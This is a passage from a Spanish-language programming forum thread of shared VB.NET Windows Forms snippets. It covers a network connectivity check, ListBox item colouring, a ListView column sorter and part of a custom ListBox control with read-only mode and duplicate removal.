  38.                    ' Inform that Website connection is avaliable.
  39.                    NetworkAvaliable(YesWebsiteMessage, False, StatusControl)
  40.                    Return True
  41.  
  42.                Catch ex As Net.NetworkInformation.PingException
  43.  
  44.                    If RetryInterval = -1 Then ' Do not retry
  45.                        NetworkAvaliable(NoWebsiteMessage, False, StatusControl)
  46.                        Return False
  47.  
  48.                    Else ' Retry
  49.  
  50.                        For X As Integer = 0 To RetryInterval
  51.                            NetworkAvaliable(String.Format(NoWebsiteRetryMessage, RetryInterval - X), True, StatusControl)
  52.                        Next X
  53.  
  54.                        Is_Connectivity_Avaliable(url, RetryInterval, StatusControl)
  55.  
  56.                    End If ' RetryInterval
  57.  
  58.                Catch ex As InvalidOperationException
  59.  
  60.                    If RetryInterval = -1 Then ' Do not retry
  61.                        NetworkAvaliable(NoNetworkMessage, False, StatusControl)
  62.                        Return False
  63.  
  64.                    Else ' Retry
  65.  
  66.                        For X As Integer = 0 To RetryInterval
  67.                            NetworkAvaliable(String.Format(NoNetworkRetryMessage, RetryInterval - X), True, StatusControl)
  68.                        Next
  69.  
  70.                        Is_Connectivity_Avaliable(url, RetryInterval, StatusControl)
  71.  
  72.                    End If ' RetryInterval
  73.  
  74.                End Try
  75.  
  76.        End Select
  77.  
  78.    End Function
  79.  
  80.    Private Sub NetworkAvaliable(ByVal Message As String,
  81.                                 ByVal Wait As Boolean,
  82.                                 Optional ByVal StatusControl As Control = Nothing)
  83.  
  84.        If Wait Then Threading.Thread.Sleep(1000)
  85.  
  86.        If StatusControl IsNot Nothing Then
  87.            StatusControl.Invoke(Sub() StatusControl.Text = Message)
  88.        Else
  89.            Debug.WriteLine(Message)
  90.        End If
  91.  
  92.    End Sub



Un snippet para colorear los elementos de un Listbox, esto lo posteé hace tiempo pero lo he extendido...

Código
  1. #Region " [ListBox] Colorize Items "
  2.  
  3. ' [ [ListBox] Colorize Items ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Instructions:
  8. ' 1. Set ListBox "Drawmode" property to "OwnerDrawFixed" to make this work.
  9. '    ListBox1.DrawMode = DrawMode.OwnerDrawFixed
  10. '
  11. ' Examples :
  12. '
  13. ' Colorize only selected item:
  14. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.Selected, Brushes.YellowGreen, Brushes.Black)
  15. '
  16. ' Colorize all Non-Selected items
  17. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.Non_Selected, Brushes.Red, Brushes.YellowGreen)
  18. '
  19. ' Colorize all items:
  20. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.All, Brushes.Yellow, Brushes.Yellow)
  21. '
  22. ' Colorize any item:
  23. ' Colorize_Item(ListBox1, Colorize_ListBox_Items.None, Nothing, Nothing)
  24. '
  25. ' Colorize specific items:
  26. ' Colorize_Item(ListBox1, {0, (ListBox1.Items.Count \ 2), (ListBox1.Items.Count - 1)}, Brushes.HotPink, Nothing)
  27.  
  28.  
  29.    ' Stores the brush colors to paint their items
  30.    Private ListBox_BackColor As Brush = Brushes.YellowGreen
  31.    Private ListBox_ForeColor As Brush = Brushes.Black
  32.  
  33.    Private Enum ListBoxItems As Short
  34.        Selected = 0
  35.        Non_Selected = 1
  36.        All = 2
  37.        None = 3
  38.    End Enum
  39.  
  40.    ''' <summary>
  41.    ''' Colorizes the items of a ListBox.
  42.    ''' </summary>
  43.    ''' <param name="ListBox">Indicates the ListBox control.</param>
  44.    ''' <param name="Colorize">Indicates the items to colorize them.</param>
  45.    ''' <param name="BackColor">Indicates the backcolor for the colorized items.</param>
  46.    ''' <param name="Forecolor">Indicates the forecolor for the colorized items.</param>
  47.    Private Sub Colorize_Item(ByVal ListBox As ListBox, _
  48.                              ByVal Colorize As ListBoxItems, _
  49.                              ByVal BackColor As Brush,
  50.                              ByVal Forecolor As Brush)
  51.  
  52.        ' Stores the Enum value
  53.        ListBox.Tag = Colorize.ToString
  54.  
  55.        ListBox_BackColor = BackColor
  56.        ListBox_ForeColor = Forecolor
  57.  
  58.    End Sub
  59.  
  60.    ''' <summary>
  61.    ''' Colorizes the items of a ListBox.
  62.    ''' </summary>
  63.    ''' <param name="ListBox">Indicates the ListBox control.</param>
  64.    ''' <param name="Colorize">Indicates the items to colorize them.</param>
  65.    ''' <param name="BackColor">Indicates the backcolor for the colorized items.</param>
  66.    ''' <param name="Forecolor">Indicates the forecolor for the colorized items.</param>
  67.    Private Sub Colorize_Item(ByVal ListBox As ListBox,
  68.                              ByVal Colorize As Integer(),
  69.                              ByVal BackColor As Brush,
  70.                              ByVal Forecolor As Brush)
  71.  
  72.        ' Stores the index items
  73.        ListBox.Tag = String.Join(Convert.ToChar(Keys.Space), Colorize)
  74.  
  75.        ListBox_BackColor = BackColor
  76.        ListBox_ForeColor = Forecolor
  77.  
  78.    End Sub
  79.  
  80.    ' ListBox [DrawItem]
  81.    Private Sub ListBox_DrawItem(ByVal sender As Object, ByVal e As DrawItemEventArgs) _
  82.    Handles ListBox_Genres.DrawItem
  83.  
  84.        e.DrawBackground()
  85.  
  86.        Select Case sender.tag
  87.  
  88.            Case ListBoxItems.Selected.ToString ' Colorize Selected Items
  89.  
  90.                If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
  91.                    e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
  92.                    e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
  93.                Else
  94.                    Using b As New SolidBrush(e.ForeColor)
  95.                        e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
  96.                    End Using
  97.                End If
  98.  
  99.            Case ListBoxItems.Non_Selected.ToString ' Colorize Non-Selected Items
  100.  
  101.                If (e.State And DrawItemState.Selected) = DrawItemState.None Then
  102.                    e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
  103.                    e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
  104.                Else
  105.                    Using b As New SolidBrush(e.ForeColor)
  106.                        e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
  107.                    End Using
  108.                End If
  109.  
  110.            Case ListBoxItems.All.ToString ' Colorize all
  111.  
  112.                e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
  113.                e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
  114.  
  115.            Case ListBoxItems.None.ToString ' Colorize none
  116.  
  117.                Using b As New SolidBrush(ListBox.DefaultBackColor)
  118.                    e.Graphics.FillRectangle(b, e.Bounds)
  119.                End Using
  120.  
  121.                Using b As New SolidBrush(ListBox.DefaultForeColor)
  122.                    e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
  123.                End Using
  124.  
  125.            Case Else ' Colorize at specific index
  126.  
  127.                If Not String.IsNullOrEmpty(sender.tag) _
  128.                AndAlso sender.tag.ToString.Split.Contains(CStr(e.Index)) Then
  129.  
  130.                    e.Graphics.FillRectangle(ListBox_BackColor, e.Bounds)
  131.                    e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, ListBox_ForeColor, e.Bounds)
  132.  
  133.                Else
  134.  
  135.                    Using b As New SolidBrush(e.ForeColor)
  136.                        e.Graphics.DrawString(sender.GetItemText(sender.Items(e.Index)), e.Font, b, e.Bounds)
  137.                    End Using
  138.  
  139.                End If
  140.  
  141.        End Select
  142.  
  143.        e.DrawFocusRectangle()
  144.  
  145.    End Sub
  146.  
  147. #End Region



Otro snippet que he extendido, para ordenar los los items de un ListView:

Código
  1.    ''' <summary>
  2.    ''' Sorts the column content of a ListView.
  3.    ''' </summary>
  4.    ''' <param name="LV">Indicates the ListView to sort.</param>
  5.    ''' <param name="Column">Indicates the columnd to index.</param>
  6.    ''' <param name="Order">Indicates the sort order.</param>
  7.    Private Sub SortListView(ByVal LV As ListView,
  8.                             ByVal Column As Integer,
  9.                             ByVal Order As SortOrder)
  10.  
  11.        LV.ListViewItemSorter = New ListViewSorter(Column, Order)
  12.        LV.Sort()
  13.  
  14.    End Sub
  15.  
  16.    ' ListView [ColumnClick]
  17.    Private Sub ListView_ColumnClick(ByVal sender As Object, ByVal e As ColumnClickEventArgs) _
  18.    Handles ListView1.ColumnClick
  19.  
  20.        If String.IsNullOrEmpty(sender.Columns.Item(0).Tag) Then
  21.            sender.Columns.Item(0).Tag = SortOrder.Ascending.ToString
  22.        Else
  23.            sender.Columns.Item(0).Tag =
  24.                [Enum].GetValues(GetType(SortOrder)).
  25.                Cast(Of Integer).
  26.                Where(Function(n) n <> [Enum].Parse(GetType(SortOrder), sender.Columns.Item(0).Tag)).
  27.                First()
  28.        End If
  29.  
  30.        SortListView(sender, e.Column, [Enum].Parse(GetType(SortOrder), sender.Columns.Item(0).Tag))
  31.  
  32.    End Sub
  33.  
  34. #Region " ListViewSorter "
  35.  
  36.    Public Class ListViewSorter : Implements IComparer
  37.  
  38.        Private ColumnIndex As Integer
  39.        Private SortOrder As SortOrder
  40.  
  41.        Public Sub New(ByVal ColumnIndex As Integer,
  42.                       ByVal SortOrder As SortOrder)
  43.  
  44.            Me.ColumnIndex = ColumnIndex
  45.            Me.SortOrder = SortOrder
  46.  
  47.        End Sub
  48.  
  49.        Public Function Sort(ByVal x As Object,
  50.                             ByVal y As Object) As Integer _
  51.        Implements IComparer.Compare
  52.  
  53.            Dim item_x As ListViewItem = DirectCast(x, ListViewItem)
  54.            Dim item_y As ListViewItem = DirectCast(y, ListViewItem)
  55.            Dim string_x As String
  56.            Dim string_y As String
  57.  
  58.            string_x = If(Not item_x.SubItems.Count <= ColumnIndex,
  59.                          item_x.SubItems(ColumnIndex).Text,
  60.                          "")
  61.  
  62.            string_y = If(Not item_y.SubItems.Count <= ColumnIndex,
  63.                          item_y.SubItems(ColumnIndex).Text,
  64.                          "")
  65.  
  66.            Select Case SortOrder
  67.  
  68.                Case SortOrder.Ascending
  69.  
  70.                    If Double.TryParse(string_x, New Double) AndAlso Double.TryParse(string_y, New Double) Then
  71.                        Return Double.Parse(string_x).CompareTo(Double.Parse(string_y))
  72.  
  73.                    ElseIf Date.TryParse(string_x, New Date) AndAlso Date.TryParse(string_y, New Date) Then
  74.                        Return DateTime.Parse(string_x).CompareTo(DateTime.Parse(string_y))
  75.  
  76.                    Else
  77.                        Return String.Compare(string_x, string_y, False)
  78.  
  79.                    End If
  80.  
  81.                Case Else
  82.  
  83.                    If Double.TryParse(string_x, New Double) AndAlso Double.TryParse(string_y, New Double) Then
  84.                        Return Double.Parse(string_y).CompareTo(Double.Parse(string_x))
  85.  
  86.                    ElseIf Date.TryParse(string_x, New Date) AndAlso Date.TryParse(string_y, New Date) Then
  87.                        Return DateTime.Parse(string_y).CompareTo(DateTime.Parse(string_x))
  88.  
  89.                    Else
  90.                        Return String.Compare(string_y, string_x, False)
  91.  
  92.                    End If
  93.  
  94.            End Select
  95.  
  96.        End Function
  97.  
  98.    End Class
  99.  
  100. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 15 Diciembre 2013, 18:10 pm
Elektro Listbox, un ListBox User Control para WindowsForms.

Características:

· Estado ReadOnly, al activarse no se podrá seleccionar ningún item, pero a diferencia del estado Disabled se podrá seguir usando la scrollbar.
· Propiedades para especificar un color para los items seleccionados/deseleccionados en diferentes estados (Enabled / Disabled / ReadOnly)
· Método para seleccionar múltiples items sin saltar a la posición del item como sucede con el ListBox por defecto.
· Método para comprobar si existen duplicados en los items.
· Método para eliminar los items duplicados.
· Método para Seleccionar/Deseleccionar todos los items de una vez.

Una imagen:

(http://i.stack.imgur.com/k0iwi.jpg)

Que lo disfruteis.

EDITO: Código extendido y mejorado.

Código
  1. '  /*                   *\
  2. ' |#*  Elektro ListBox  *#|
  3. '  \*  ***************  */
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' -----------
  8. ' Properties:
  9. ' -----------
  10. '
  11. ' ReadOnly
  12. ' ReadOnly_Enabled_Cursor
  13. ' ReadOnly_Disabled_Cursor
  14. ' State_Enabled_ItemSelected_BackColor
  15. ' State_Enabled_ItemSelected_ForeColor
  16. ' State_Enabled_ItemUnselected_BackColor
  17. ' State_Enabled_ItemUnselected_ForeColor
  18. ' State_Disabled_ItemSelected_BackColor
  19. ' State_Disabled_ItemSelected_ForeColor
  20. ' State_Disabled_ItemUnselected_BackColor
  21. ' State_Disabled_ItemUnselected_ForeColor
  22. ' State_ReadOnly_ItemSelected_BackColor
  23. ' State_ReadOnly_ItemSelected_ForeColor
  24. ' State_ReadOnly_ItemUnselected_BackColor
  25. ' State_ReadOnly_ItemUnselected_ForeColor
  26. '
  27. ' --------
  28. ' Methods:
  29. ' --------
  30. '
  31. ' HasDuplicatedItems
  32. ' RemoveDuplicatedItems
  33. ' SetSelected_WithoutJump
  34. ' MoveItem
  35. '
  36. ' -------
  37. ' Events:
  38. ' -------
  39. '
  40. ' ReadOnlyChanged
  41.  
  42. Public Class ElektroListBox : Inherits ListBox
  43.  
  44. #Region " Members "
  45.  
  46. #Region " Variables "
  47.  
  48.    ''' <summary>
  49.    ''' Indicates the BackColor to paint the selected ListBox items when the ListBox is enabled.
  50.    ''' </summary>
  51.    Private _State_Enabled_ItemSelected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  52.  
  53.    ''' <summary>
  54.    ''' Indicates the ForeColor to paint the selected ListBox items when the ListBox is enabled.
  55.    ''' </summary>
  56.    Private _State_Enabled_ItemSelected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
  57.  
  58.    ''' <summary>
  59.    ''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is enabled.
  60.    ''' </summary>
  61.    Private _State_Enabled_ItemUnselected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  62.  
  63.    ''' <summary>
  64.    ''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is enabled.
  65.    ''' </summary>
  66.    Private _State_Enabled_ItemUnselected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
  67.  
  68.    ''' <summary>
  69.    ''' Indicates the BackColor to paint the selected ListBox items when the ListBox is disabled.
  70.    ''' </summary>
  71.    Private _State_Disabled_ItemSelected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  72.  
  73.    ''' <summary>
  74.    ''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is disabled.
  75.    ''' </summary>
  76.    Private _State_Disabled_ItemSelected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
  77.  
  78.    ''' <summary>
  79.    ''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is disabled.
  80.    ''' </summary>
  81.    Private _State_Disabled_ItemUnselected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  82.  
  83.    ''' <summary>
  84.    ''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is disabled.
  85.    ''' </summary>
  86.    Private _State_Disabled_ItemUnselected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
  87.  
  88.    ''' <summary>
  89.    ''' Indicates the BackColor to paint the selected ListBox items when the ListBox is ReadOnly.
  90.    ''' </summary>
  91.    Private _State_ReadOnly_ItemSelected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  92.  
  93.    ''' <summary>
  94.    ''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is ReadOnly.
  95.    ''' </summary>
  96.    Private _State_ReadOnly_ItemSelected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
  97.  
  98.    ''' <summary>
  99.    ''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is ReadOnly.
  100.    ''' </summary>
  101.    Private _State_ReadOnly_ItemUnselected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
  102.  
  103.    ''' <summary>
  104.    ''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is ReadOnly.
  105.    ''' </summary>
  106.    Private _State_ReadOnly_ItemUnselected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
  107.  
  108.    ''' <summary>
  109.    ''' Stores a value indicating whether the Listbox is in ReadOnly mode.
  110.    ''' </summary>
  111.    Private _ReadOnly As Boolean = False
  112.  
  113.    ''' <summary>
  114.    ''' Stores the Cursor to use when the ListBox enters to ReadOnly mode.
  115.    ''' </summary>
  116.    Private _ReadOnly_Enabled_Cursor As Cursor = Cursors.No
  117.  
  118.    ''' <summary>
  119.    ''' Stores the Cursor to use when the ListBox exits from ReadOnly mode.
  120.    ''' </summary>
  121.    Private _ReadOnly_Disabled_Cursor As Cursor = Cursors.Default
  122.  
  123. #End Region
  124.  
  125. #Region " Properties "
  126.  
  127.    ''' <summary>
  128.    ''' Indicates the BackColor to paint the selected ListBox items when the ListBox is enabled.
  129.    ''' </summary>
  130.    Public Property State_Enabled_ItemSelected_BackColor As Color
  131.        Get
  132.            Return _State_Enabled_ItemSelected_BackColor.Color
  133.        End Get
  134.        Set(value As Color)
  135.            If Not _State_Enabled_ItemSelected_BackColor.Color = value Then
  136.                _State_Enabled_ItemSelected_BackColor = New SolidBrush(value)
  137.                Me.Invalidate(False)
  138.            End If
  139.        End Set
  140.    End Property
  141.  
  142.    ''' <summary>
  143.    ''' Indicates the ForeColor to paint the selected ListBox items when the ListBox is enabled.
  144.    ''' </summary>
  145.    Public Property State_Enabled_ItemSelected_ForeColor As Color
  146.        Get
  147.            Return _State_Enabled_ItemSelected_ForeColor.Color
  148.        End Get
  149.        Set(value As Color)
  150.            If Not _State_Enabled_ItemSelected_ForeColor.Color = value Then
  151.                _State_Enabled_ItemSelected_ForeColor = New SolidBrush(value)
  152.                Me.Invalidate(False)
  153.            End If
  154.        End Set
  155.    End Property
  156.  
  157.    ''' <summary>
  158.    ''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is enabled.
  159.    ''' </summary>
  160.    Public Property State_Enabled_ItemUnselected_BackColor As Color
  161.        Get
  162.            Return _State_Enabled_ItemUnselected_BackColor.Color
  163.        End Get
  164.        Set(value As Color)
  165.            If Not _State_Enabled_ItemUnselected_BackColor.Color = value Then
  166.                _State_Enabled_ItemUnselected_BackColor = New SolidBrush(value)
  167.                Me.Invalidate(False)
  168.            End If
  169.        End Set
  170.    End Property
  171.  
  172.    ''' <summary>
  173.    ''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is enabled.
  174.    ''' </summary>
  175.    Public Property State_Enabled_ItemUnselected_ForeColor As Color
  176.        Get
  177.            Return _State_Enabled_ItemUnselected_ForeColor.Color
  178.        End Get
  179.        Set(value As Color)
  180.            If Not _State_Enabled_ItemUnselected_ForeColor.Color = value Then
  181.                _State_Enabled_ItemUnselected_ForeColor = New SolidBrush(value)
  182.                Me.Invalidate(False)
  183.            End If
  184.        End Set
  185.    End Property
  186.  
  187.    ''' <summary>
  188.    ''' Indicates the BackColor to paint the selected ListBox items when the ListBox is disabled.
  189.    ''' </summary>
  190.    Public Property State_Disabled_ItemSelected_BackColor As Color
  191.        Get
  192.            Return _State_Disabled_ItemSelected_BackColor.Color
  193.        End Get
  194.        Set(value As Color)
  195.            If Not _State_Disabled_ItemSelected_BackColor.Color = value Then
  196.                _State_Disabled_ItemSelected_BackColor = New SolidBrush(value)
  197.                Me.Invalidate(False)
  198.            End If
  199.        End Set
  200.    End Property
  201.  
  202.    ''' <summary>
  203.    ''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is disabled.
  204.    ''' </summary>
  205.    Public Property State_Disabled_ItemSelected_ForeColor As Color
  206.        Get
  207.            Return _State_Disabled_ItemSelected_ForeColor.Color
  208.        End Get
  209.        Set(value As Color)
  210.            If Not _State_Disabled_ItemSelected_ForeColor.Color = value Then
  211.                _State_Disabled_ItemSelected_ForeColor = New SolidBrush(value)
  212.                Me.Invalidate(False)
  213.            End If
  214.        End Set
  215.    End Property
  216.  
  217.    ''' <summary>
  218.    ''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is disabled.
  219.    ''' </summary>
  220.    Public Property State_Disabled_ItemUnselected_BackColor As Color
  221.        Get
  222.            Return _State_Disabled_ItemUnselected_BackColor.Color
  223.        End Get
  224.        Set(value As Color)
  225.            If Not _State_Disabled_ItemUnselected_BackColor.Color = value Then
  226.                _State_Disabled_ItemUnselected_BackColor = New SolidBrush(value)
  227.                Me.Invalidate(False)
  228.            End If
  229.        End Set
  230.    End Property
  231.  
  232.    ''' <summary>
  233.    ''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is disabled.
  234.    ''' </summary>
  235.    Public Property State_Disabled_ItemUnselected_ForeColor As Color
  236.        Get
  237.            Return _State_Disabled_ItemUnselected_ForeColor.Color
  238.        End Get
  239.        Set(value As Color)
  240.            If Not _State_Disabled_ItemUnselected_ForeColor.Color = value Then
  241.                _State_Disabled_ItemUnselected_ForeColor = New SolidBrush(value)
  242.                Me.Invalidate(False)
  243.            End If
  244.        End Set
  245.    End Property
  246.  
  247.    ''' <summary>
  248.    ''' Indicates the BackColor to paint the selected ListBox items when the ListBox is ReadOnly.
  249.    ''' </summary>
  250.    Public Property State_ReadOnly_ItemSelected_BackColor As Color
  251.        Get
  252.            Return _State_ReadOnly_ItemSelected_BackColor.Color
  253.        End Get
  254.        Set(value As Color)
  255.            If Not _State_ReadOnly_ItemSelected_BackColor.Color = value Then
  256.                _State_ReadOnly_ItemSelected_BackColor = New SolidBrush(value)
  257.                Me.Invalidate(False)
  258.            End If
  259.        End Set
  260.    End Property
  261.  
  262.    ''' <summary>
  263.    ''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is ReadOnly.
  264.    ''' </summary>
  265.    Public Property State_ReadOnly_ItemSelected_ForeColor As Color
  266.        Get
  267.            Return _State_ReadOnly_ItemSelected_ForeColor.Color
  268.        End Get
  269.        Set(value As Color)
  270.            If Not _State_ReadOnly_ItemSelected_ForeColor.Color = value Then
  271.                _State_ReadOnly_ItemSelected_ForeColor = New SolidBrush(value)
  272.                Me.Invalidate(False)
  273.            End If
  274.        End Set
  275.    End Property
  276.  
  277.    ''' <summary>
  278.    ''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is ReadOnly.
  279.    ''' </summary>
  280.    Public Property State_ReadOnly_ItemUnselected_BackColor As Color
  281.        Get
  282.            Return _State_ReadOnly_ItemUnselected_BackColor.Color
  283.        End Get
  284.        Set(value As Color)
  285.            If Not _State_ReadOnly_ItemUnselected_BackColor.Color = value Then
  286.                _State_ReadOnly_ItemUnselected_BackColor = New SolidBrush(value)
  287.                Me.Invalidate(False)
  288.            End If
  289.        End Set
  290.    End Property
  291.  
  292.    ''' <summary>
  293.    ''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is ReadOnly.
  294.    ''' </summary>
  295.    Public Property State_ReadOnly_ItemUnselected_ForeColor As Color
  296.        Get
  297.            Return _State_ReadOnly_ItemUnselected_ForeColor.Color
  298.        End Get
  299.        Set(value As Color)
  300.            If Not _State_ReadOnly_ItemUnselected_ForeColor.Color = value Then
  301.                _State_ReadOnly_ItemUnselected_ForeColor = New SolidBrush(value)
  302.                Me.Invalidate(False)
  303.            End If
  304.        End Set
  305.    End Property
  306.  
  307.    ''' <summary>
  308.    ''' Gets or sets a value indicating whether the Listbox is in ReadOnly mode.
  309.    ''' </summary>
  310.    Public Property [ReadOnly]() As Boolean
  311.        Get
  312.            Return _ReadOnly
  313.        End Get
  314.        Set(value As Boolean)
  315.            If Not _ReadOnly = value Then
  316.                _ReadOnly = value
  317.                RaiseEvent ReadOnlyChanged(Me, New ReadOnlyChangedEventArgs With
  318.                                               {.IsReadOnly = value})
  319.            End If
  320.        End Set
  321.    End Property
  322.  
  323.    ''' <summary>
  324.    ''' Gets or sets the Cursor to use when the ListBox enters in ReadOnly mode.
  325.    ''' </summary>
  326.    Public Property ReadOnly_Enabled_Cursor As Cursor
  327.        Get
  328.            Return _ReadOnly_Enabled_Cursor
  329.        End Get
  330.        Set(value As Cursor)
  331.            If Not _ReadOnly_Enabled_Cursor = value Then
  332.                _ReadOnly_Enabled_Cursor = value
  333.                DesignTimeInvalidator(False)
  334.            End If
  335.        End Set
  336.    End Property
  337.  
  338.    ''' <summary>
  339.    ''' Gets or sets the Cursor to use when the ListBox exits from ReadOnly mode.
  340.    ''' </summary>
  341.    Public Property ReadOnly_Disabled_Cursor As Cursor
  342.        Get
  343.            Return _ReadOnly_Disabled_Cursor
  344.        End Get
  345.        Set(value As Cursor)
  346.            If Not _ReadOnly_Disabled_Cursor = value Then
  347.                _ReadOnly_Disabled_Cursor = value
  348.                DesignTimeInvalidator(False)
  349.            End If
  350.        End Set
  351.    End Property
  352.  
  353. #End Region
  354.  
  355. #Region " Enumerations "
  356.  
  357.    ''' <summary>
  358.    ''' Indicates the state of a Listbox Item.
  359.    ''' </summary>
  360.    Public Enum ItemState
  361.  
  362.        ''' <summary>
  363.        ''' Select the listbox Item.
  364.        ''' </summary>
  365.        Selected = 0
  366.  
  367.        ''' <summary>
  368.        ''' Unselect the listbox Item.
  369.        ''' </summary>
  370.        Unselected = 1
  371.  
  372.    End Enum
  373.  
  374.    ''' <summary>
  375.    ''' Indicates the items to select.
  376.    ''' </summary>
  377.    Public Enum ListBoxItems As Short
  378.  
  379.        ''' <summary>
  380.        ''' Select all items of the ListBox.
  381.        ''' </summary>
  382.        All = 1
  383.  
  384.        ''' <summary>
  385.        ''' Select any ListBox items.
  386.        ''' </summary>
  387.        None = 2
  388.  
  389.    End Enum
  390.  
  391.    ''' <summary>
  392.    ''' Indicates some Known Windows Message Identifiers to manage.
  393.    ''' </summary>
  394.    Private Enum KnownMessages As Integer
  395.        WM_LBUTTONDOWN = &H201
  396.        WM_KEYDOWN = &H100
  397.    End Enum
  398.  
  399. #End Region
  400.  
  401. #Region " Events "
  402.  
  403.    ''' <summary>
  404.    ''' Event raised when the ReadOnly state of the ListBox changes.
  405.    ''' </summary>
  406.    Private Event ReadOnlyChanged As EventHandler(Of ReadOnlyChangedEventArgs)
  407.    Private Class ReadOnlyChangedEventArgs : Inherits EventArgs
  408.        Public Property IsReadOnly As Boolean
  409.    End Class
  410.  
  411. #End Region
  412.  
  413. #End Region
  414.  
  415. #Region " Constructor "
  416.  
  417.    Public Sub New()
  418.        Me.DoubleBuffered = True
  419.        Me.DrawMode = DrawMode.OwnerDrawFixed
  420.    End Sub
  421.  
  422. #End Region
  423.  
  424. #Region " Public Methods "
  425.  
  426.    ''' <summary>
  427.    ''' Returns a value indicating whether the ListBox items contains duplicates.
  428.    ''' </summary>
  429.    Public Function HasDuplicatedItems() As Boolean
  430.        Return Me.Items.Count - Me.Items.Cast(Of String).Distinct().Count
  431.    End Function
  432.  
  433.    ''' <summary>
  434.    ''' Remove all duplicated items in ListBox.
  435.    ''' </summary>
  436.    Public Sub RemoveDuplicatedItems()
  437.  
  438.        If HasDuplicatedItems() Then
  439.            Dim ItemArray As IEnumerable(Of String) = Me.Items.Cast(Of String).Distinct()
  440.            Me.Items.Clear()
  441.            Me.Items.AddRange(ItemArray.ToArray)
  442.        End If
  443.  
  444.    End Sub
  445.  
  446.    ''' <summary>
  447.    ''' Selects or unselects a ListBox Item without jumping to the Item position.
  448.    ''' </summary>
  449.    ''' <param name="ItemIndex">Indicates the index of the Item to set.</param>
  450.    ''' <param name="ItemState">Indicates the state for the item.</param>
  451.    Public Sub SetSelected_WithoutJump(ItemIndex As Integer, ItemState As ItemState)
  452.  
  453.        Dim i As Integer = Me.TopIndex ' Store the selected item index.
  454.        Me.BeginUpdate() ' Disable drawing on control.
  455.        Me.SetSelected(ItemIndex, ItemState) ' Select the item.
  456.        Me.TopIndex = i ' Jump to the previous selected item.
  457.        Me.EndUpdate() ' Eenable drawing.
  458.  
  459.    End Sub
  460.  
  461.    ''' <summary>
  462.    ''' Selects or unselects ListBox Items without jumping to the Item position.
  463.    ''' </summary>
  464.    ''' <param name="ItemIndex">Indicates the index of the Items to set.</param>
  465.    ''' <param name="ItemState">Indicates the state for the items.</param>
  466.    Public Sub SetSelected_WithoutJump(ItemIndex As Integer(), ItemState As ItemState)
  467.  
  468.        Dim i As Integer = Me.TopIndex ' Store the selected item index.
  469.        Me.BeginUpdate() ' Disable drawing on control.
  470.  
  471.        For Each Index As Integer In ItemIndex
  472.  
  473.            Select Case ItemState
  474.  
  475.                Case ItemState.Selected
  476.                    Me.SetSelected(Index, True) ' Select the item.
  477.  
  478.                Case ItemState.Unselected
  479.                    Me.SetSelected(Index, False) ' Unselect the item.
  480.  
  481.            End Select
  482.  
  483.        Next Index
  484.  
  485.        Me.TopIndex = i ' Jump to the previous selected item.
  486.        Me.EndUpdate() ' Eenable drawing.
  487.  
  488.    End Sub
  489.  
  490.    ''' <summary>
  491.    ''' Selects or unselects all ListBox Item without jumping to the Item position.
  492.    ''' </summary>
  493.    ''' <param name="ListBoxItems">Indicates the Items to set.</param>
  494.    ''' <param name="ItemState">Indicates the state for the items.</param>
  495.    Public Sub SetSelected_WithoutJump(ListBoxItems As ListBoxItems, ItemState As ItemState)
  496.  
  497.        Dim i As Integer = Me.TopIndex ' Store the selected item index.
  498.        Me.BeginUpdate() ' Disable drawing on control.
  499.  
  500.        Select Case ItemState
  501.  
  502.            Case ItemState.Selected ' Select all the items.
  503.  
  504.                For Item As Integer = 0 To Me.Items.Count - 1
  505.                    Me.SetSelected(Item, True)
  506.                Next Item
  507.  
  508.            Case ItemState.Unselected ' Unselect all the items.
  509.                Me.SelectedItems.Clear()
  510.  
  511.        End Select
  512.  
  513.        Me.TopIndex = i ' Jump to the previous selected item.
  514.        Me.EndUpdate() ' Eenable drawing.
  515.  
